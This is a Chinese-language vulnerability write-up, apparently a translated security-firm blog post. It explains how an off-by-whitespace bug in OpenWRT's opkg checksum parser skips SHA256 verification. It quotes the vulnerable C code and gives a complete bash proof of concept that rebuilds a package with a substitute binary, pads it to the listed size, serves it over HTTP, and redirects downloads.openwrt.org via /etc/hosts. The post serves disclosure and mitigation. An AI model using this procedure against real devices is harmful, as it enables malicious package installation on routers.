前言
关注ForALLSecure的人可能知道,我一直在使用Mayhem软件挖掘OpenWRT中的漏洞,挖掘方式一般是:编写自定义框架、在不重新编译的情况下运行该二进制文件以及手工检查源码。
这个漏洞的发现十分偶然,当时我正在为opkg准备一个Mayhem任务。
Mayhem可以处理来自文件或者是socket连接的数据。
opkg从downloads.openwrt.org
上下载软件包,所以我的计划是让这个域名指向运行有Mayhem服务的127.0.0.1
地址。
为了测试opkg是否真的会从自定的网络连接上下载软件包,我设置了本地Web服务器并且创建了一个包含任意字节的文件。当我运行opkg安装软件包时,它按照我的预想检索到了该文件,并引发了段错误。
我不明白为什么无效软件包会引发这样的错误,毕竟如果SHA256的哈希值不正确的话,是不会处理该软件包的。
我最初认为,opkg会下载该软件包,解压缩并将其放入一个临时文件夹,之后才会在安装前检查SHA256哈希值,所以我怀疑是不是解压缩程序无法处理异常数据,例如这个来自我的web服务器的含有任意字节的文件。
通过进一步的检查,我发现程序根本没有进行SHA256哈希值检查,而这也是漏洞之所以能够存在的基础。
不过解压缩程序确实存在问题,异常数据会导致各种内存冲突。
确认了opkg会尝试解压缩并安装下载的任意软件包后,我就可以通过Mayhem复现这个发现,只需要对opkg进行一些小的修改。
我为opkg install attr
设置了一个Mayhem任务(attr是一个小的OpenWRT软件包),通过检测解压缩程序中的内存错误,Mayhem可以发现远程命令执行漏洞。如果OpenWRT中的SHA256验证程序能够按预期工作,opkg就会丢弃异常的软件包,不对其进行处理,那么也就不会发生段错误了。
Mayhem可以在不重新编译和检测的情况下fuzzing二进制文件,我已经按照这样的流程为软件库编写很多自定义框架了(Mayhem支持这样的方式),这让我可以在短短几周内为数十个OpenWRT程序设置目标,从而发现更多漏洞。
在下面各小节中,我会详细介绍自己是如何发现这个漏洞的。
OpenWRT
OpenWRT是一个基于Linux系统,专门用于嵌入式设备,尤其是路由器的免费操作系统,它已安装在全球数百万台设备上。
OpenWRT包管理器
可以使用opkg
程序在OpenWRT系统上安装或更新软件,opkg
的功能和目的类似于基于Debian的系统上的apt
程序。
opkg通过未加密的HTTP连接从downloads.openwrt.org
上获取可安装软件包列表。
软件包列表会进行数字签名,在处理包文件前,程序会验证该文件确实来自OpenWRT,如果验证失败,就丢弃该文件。
一个典型的包条目如下所示:
Package: attr
Version: 2.4.48-2
Depends: libc, libattr
License: GPL-2.0-or-later
Section: utils
Architecture: x86_64
Installed-Size: 11797
Filename: attr_2.4.48-2_x86_64.ipk
Size: 12517
SHA256sum: 10f4e47bf6b74ac1e49edb95036ad7f9de564e6aba54ccee6806ab7ace5e90a6
Description: Extended attributes support
This package provides xattr manipulation utilities
- attr
- getfattr
- setfattr
其中SHA256sum
字段用于确保下载的软件包未破损或被破坏,程序默认SHA256哈希值是来自OpenWRT的,因为软件包列表中也包含这个哈希值,而软件包列表是通过了签名验证的。
理论上来讲,因为使用了签名,即使传输通道(HTTP)并不安全,软件包列表和软件压缩包也不会被篡改。
关于这部分内容的讨论可以看这里。
漏洞
在用户通过opkg install <package>
安装软件包后,opkg
会首先解析软件包列表。
解析器遍历每个包条目,并根据字段类型执行不同的操作,如果是SHA256sum
字段,解析器会调用pkg_set_sha256
:
312 else if ((mask & PFM_SHA256SUM) && is_field("SHA256sum", line))
313 pkg_set_sha256(pkg, line + strlen("SHA256sum") + 1);
pkg_set_sha256
会尝试将SHA256sum
字段从十六进制转为二进制,并以内部形式存储:
244 char *pkg_set_sha256(pkg_t *pkg, const char *cksum)
245 {
246 size_t len;
247 char *p = checksum_hex2bin(cksum, &len);
248
249 if (!p || len != 32)
250 return NULL;
251
252 return pkg_set_raw(pkg, PKG_SHA256SUM, p, len);
253 }
如果解码失败,程序自动结束,并不保存哈希值。
漏洞发生在checksum_hex2bin
中,这个漏洞很容易被忽略,你能找到它吗?
234 char *checksum_hex2bin(const char *src, size_t *len)
235 {
236 size_t slen;
237 unsigned char *p;
238 const unsigned char *s = (unsigned char *)src;
239 static unsigned char buf[32];
240
241 if (!src) {
242 *len = 0;
243 return NULL;
244 }
245
246 while (isspace(*src))
247 src++;
248
249 slen = strlen(src);
250
251 if (slen > 64) {
252 *len = 0;
253 return NULL;
254 }
255
256 for (p = buf, *len = 0;
257 slen > 0 && isxdigit(s[0]) && isxdigit(s[1]);
258 slen--, s += 2, (*len)++)
259 *p++ = hex2bin(s[0]) * 16 + hex2bin(s[1]);
260
261 return (char *)buf;
262 }
最开始,变量s
和src
都指向同一地址。
在第246行,变量src
前进到第一个非空格字符,然而在实际进行解码时,256行的for
循环是在变量s
上进行操作,而变量s
仍旧指向字符串的起始位置。
因此,如果输入的字符串开头有任何空格字符的话,程序就会尝试对空格字符进行解码,而空格字符并不是十六进制字符,所以isxdigit()
会返回false
,解码器的循环立即终止,*len
为0
。
再次检查解析器,可以看到传递给pkg_set_sha256
的字符串是”SHA256sum:”后面的部分字符串:
313 pkg_set_sha256(pkg, line + strlen("SHA256sum") + 1);
这就意味着这个部分字符串的第一个字符是一个空格。
软件包列表解析完成后,通过HTTP下载软件包。
接下来会进行几个验证步骤。
下载的软件包大小必须等于软件包列表中的指定大小:
1379 pkg_expected_size = pkg_get_int(pkg, PKG_SIZE);
1380
1381 if (pkg_expected_size > 0 && pkg_stat.st_size != pkg_expected_size) {
1382 if (!conf->force_checksum) {
1383 opkg_msg(ERROR,
1384 "Package size mismatch: %s is %lld bytes, expecting %lld bytesn",
1385 pkg->name, (long long int)pkg_stat.st_size, pkg_expected_size);
1386 return -1;
1387 } else {
1388 opkg_msg(NOTICE,
1389 "Ignored %s size mismatch.n",
1390 pkg->name);
1391 }
1392 }
如果指定了这个软件包的SHA256哈希值,该哈希值也必须匹配:
1415 /* Check for sha256 value */
1416 pkg_sha256 = pkg_get_sha256(pkg);
1417 if (pkg_sha256) {
1418 file_sha256 = file_sha256sum_alloc(local_filename);
1419 if (file_sha256 && strcmp(file_sha256, pkg_sha256)) {
1420 if (!conf->force_checksum) {
1421 opkg_msg(ERROR,
1422 "Package %s sha256sum mismatch. "
1423 "Either the opkg or the package index are corrupt. "
1424 "Try 'opkg update'.n", pkg->name);
1425 free(file_sha256);
1426 return -1;
1427 } else {
1428 opkg_msg(NOTICE,
1429 "Ignored %s sha256sum mismatch.n",
1430 pkg->name);
1431 }
1432 }
1433 if (file_sha256)
1434 free(file_sha256);
1435 }
但是因为checksum_hex2bin
没有办法对SHA256sum
字段进行解码,所以1418行之后的代码被直接跳过。
漏洞的利用
为了利用这个漏洞,攻击者需要在一个Web服务器上提供(受损的)软件包。
为此,攻击者必须能够拦截并替换设备与downloads.openwrt.org
之间的通信,或者控制设备使用的DNS服务器,让downloads.openwrt.org
指向攻击者控制的web服务器。
如果攻击者与设备处在同一网络中,攻击者可以使用数据包欺骗或者ARP缓存感染的方式进行攻击,但是我还没测试过这种情况。
唯一的限制条件就是,受损软件包大小要和软件包列表中的Size
字段相匹配。
要实现这点很简单:
1、创建一个小于原始包的受损软件包;
2、计算原始包与受损软件包之间的大小差异;
3、在受损软件包后添加相同数量的0字节;
下面的PoC说明了如何实现漏洞利用:
#!/bin/bash
# 从镜像下载软件包列表
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/base/Packages.gz
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/base/Packages.sig
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/luci/Packages.gz
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/luci/Packages.sig
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/packages/Packages.gz
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/packages/Packages.sig
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/routing/Packages.gz
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/routing/Packages.sig
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/telephony/Packages.gz
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/telephony/Packages.sig
wget -x http://downloads.openwrt.org/snapshots/targets/x86/64/packages/Packages.gz
wget -x http://downloads.openwrt.org/snapshots/targets/x86/64/packages/Packages.sig
mv downloads.openwrt.org/snapshots .
rm -rf downloads.openwrt.org/
# 获得原始软件包
wget http://downloads.openwrt.org/snapshots/packages/x86_64/packages/attr_2.4.48-2_x86_64.ipk
ORIGINAL_FILESIZE=$(stat -c%s "attr_2.4.48-2_x86_64.ipk")
tar zxf attr_2.4.48-2_x86_64.ipk
rm attr_2.4.48-2_x86_64.ipk
# 提取二进制文件
mkdir data/
cd data/
tar zxvf ../data.tar.gz
rm ../data.tar.gz
# 创建用于替换的二进制文件,这是一个很小的程序,只打印一个字符串。
rm -f /tmp/pwned.asm /tmp/pwned.o
echo "section .text" >>/tmp/pwned.asm
echo "global _start" >>/tmp/pwned.asm
echo "_start:" >>/tmp/pwned.asm
echo " mov edx,len" >>/tmp/pwned.asm
echo " mov ecx,msg" >>/tmp/pwned.asm
echo " mov ebx,1" >>/tmp/pwned.asm
echo " mov eax,4" >>/tmp/pwned.asm
echo " int 0x80" >>/tmp/pwned.asm
echo " mov eax,1" >>/tmp/pwned.asm
echo " int 0x80" >>/tmp/pwned.asm
echo "section .data" >>/tmp/pwned.asm
echo "msg db 'pwned :)',0xa" >>/tmp/pwned.asm
echo "len equ $ - msg" >>/tmp/pwned.asm
# 编译
nasm /tmp/pwned.asm -f elf64 -o /tmp/pwned.o
# 链接
ld /tmp/pwned.o -o usr/bin/attr
# 压缩进data.tar.gz
tar czvf ../data.tar.gz *
cd ../
# 移除不需要的文件
rm -rf data/
# 压缩
tar czvf attr_2.4.48-2_x86_64.ipk control.tar.gz data.tar.gz debian-binary
# 移除不需要的文件
rm control.tar.gz data.tar.gz debian-binary
# 计算原始软件包和受损软件包间的大小差异
MODIFIED_FILESIZE=$(stat -c%s "attr_2.4.48-2_x86_64.ipk")
FILESIZE_DELTA="$(($ORIGINAL_FILESIZE-$MODIFIED_FILESIZE))"
# 向受损软件包中填充对应数量的0字节
head /dev/zero -c$FILESIZE_DELTA >>attr_2.4.48-2_x86_64.ipk
# 下载attr的依赖项
wget http://downloads.openwrt.org/snapshots/packages/x86_64/packages/libattr_2.4.48-2_x86_64.ipk
# 将在web server上提供服务的文件放入对应位置
mkdir -p snapshots/packages/x86_64/packages/
mv attr_2.4.48-2_x86_64.ipk snapshots/packages/x86_64/packages/
mv libattr_2.4.48-2_x86_64.ipk snapshots/packages/x86_64/packages/
# 启动opkg要连接的web服务器
sudo python -m SimpleHTTPServer 80
假设Web服务器的IP地址为192.168.2.10
,在OpenWRT系统上运行如下命令:
echo "192.168.2.10 downloads.openwrt.org" >>/etc/hosts; opkg update && opkg install attr && attr
漏洞修复之前,上面的命令执行后会输出pwned :)
。
注意命令中对/etc/hosts
文件的修改是必须的,因为要模拟中间人(或者说破坏DNS)攻击
如何防范
在我报告这个漏洞后不久,OpenWRT就把软件包列表中SHA256sum
字段的空格去掉了。
这么做可以减轻用户的风险,在此之后更新软件包列表的用户不易再受攻击,因为软件包安装过程不会再跳过哈希验证步骤。
但是这并不是一个长期解决方案,因为攻击者只需要提供一个OpenWRT签名的旧版本软件包列表就可以绕过该方法。
这个commit已经修复了checksum_hex2bin
zh中的漏洞,并将其整合到了OpenWRTde 18.06.7和19.07.1版本中,这两个版本已于2020年2月1日发布。
我的建议是将OpenWRT版本升级到18.06.7或19.07.1。
补充笔记
早在2016年,Google Project Zero的Jann Horn就在Debian的apt包管理器中发现了一个类似的漏洞。
去年,Max Justicz发现了另一个相似的漏洞。
发表评论
您还未登录,请先登录。
登录